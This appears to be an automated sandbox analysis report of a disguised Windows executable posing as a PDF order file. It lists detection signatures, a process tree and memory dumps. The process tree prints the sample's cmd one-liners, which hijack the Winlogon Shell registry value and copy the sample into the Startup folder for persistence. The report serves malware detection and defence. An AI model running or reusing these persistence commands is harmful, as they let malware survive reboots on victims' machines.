Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 04:27

General

  • Target
    Order_Specification_Company_profile_PDF.exe
  • Size 1.1MB
  • Sample260826-e23hcsgm2t
  • SHA256 00685825a428311f30343266b8ea641ef868c5bd91e3ccca464c5ad46f1d27d5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • .NET Reactor proctector 64 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe
    "C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 38 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe,"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:5256
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 38
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:5748
      • C:\Windows\SysWOW64\reg.exe
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe,"
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:5072
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 46 > nul && copy "C:\Users\Admin\AppData\Local\Temp\Order_Specification_Company_profile_PDF.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe" && ping 127.0.0.1 -n 46 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe"
      2⤵
      • Creates a file in the Startup directory
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 46
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2004
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 46
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2252
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3544

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        fyty7667.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fyty7667.exe
        • Size 1.1MB
        • SHA256 00685825a428311f30343266b8ea641ef868c5bd91e3ccca464c5ad46f1d27d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2672-0-0x0000000074552000-0x0000000074553000-memory.dmp

        memory/2672-1-0x0000000000FA0000-0x00000000010C4000-memory.dmp

        memory/2672-2-0x00000000061D0000-0x000000000678A000-memory.dmp

        memory/2672-3-0x0000000005C10000-0x0000000005CA2000-memory.dmp

        memory/2672-4-0x0000000005CB0000-0x0000000005D4C000-memory.dmp

        memory/2672-5-0x0000000005D50000-0x0000000005DB8000-memory.dmp

        memory/2672-67-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-75-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-47-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-114-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-130-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-124-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-112-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-110-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-132-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-128-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-126-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-122-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-120-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-118-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-116-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-109-0x0000000074540000-0x0000000074CFC000-memory.dmp

        memory/2672-81-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-79-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-11-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-7-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-107-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-103-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-101-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-99-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-95-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-93-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-91-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-89-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-85-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-83-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-77-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-73-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-71-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-70-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-65-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-63-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-59-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-55-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-53-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-51-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-43-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-39-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-37-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-35-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-33-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-29-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-27-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-23-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-19-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-18-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-15-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-6-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-105-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-98-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-87-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-61-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-57-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-49-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-45-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-41-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-31-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-25-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-21-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-13-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-9-0x0000000005D50000-0x0000000005DCF000-memory.dmp

        memory/2672-551-0x0000000074540000-0x0000000074CFC000-memory.dmp

        memory/2672-552-0x0000000005FA0000-0x0000000005FAA000-memory.dmp

        memory/2672-553-0x00000000061A0000-0x00000000061C8000-memory.dmp

        memory/2672-554-0x0000000074540000-0x0000000074CFC000-memory.dmp

        memory/2672-555-0x0000000074552000-0x0000000074553000-memory.dmp

        memory/2672-556-0x0000000074540000-0x0000000074CFC000-memory.dmp

        memory/2672-557-0x0000000074540000-0x0000000074CFC000-memory.dmp

        memory/3544-559-0x0000000074510000-0x0000000074CCC000-memory.dmp

        memory/3544-623-0x0000000074510000-0x0000000074CCC000-memory.dmp

        memory/3544-1105-0x0000000074510000-0x0000000074CCC000-memory.dmp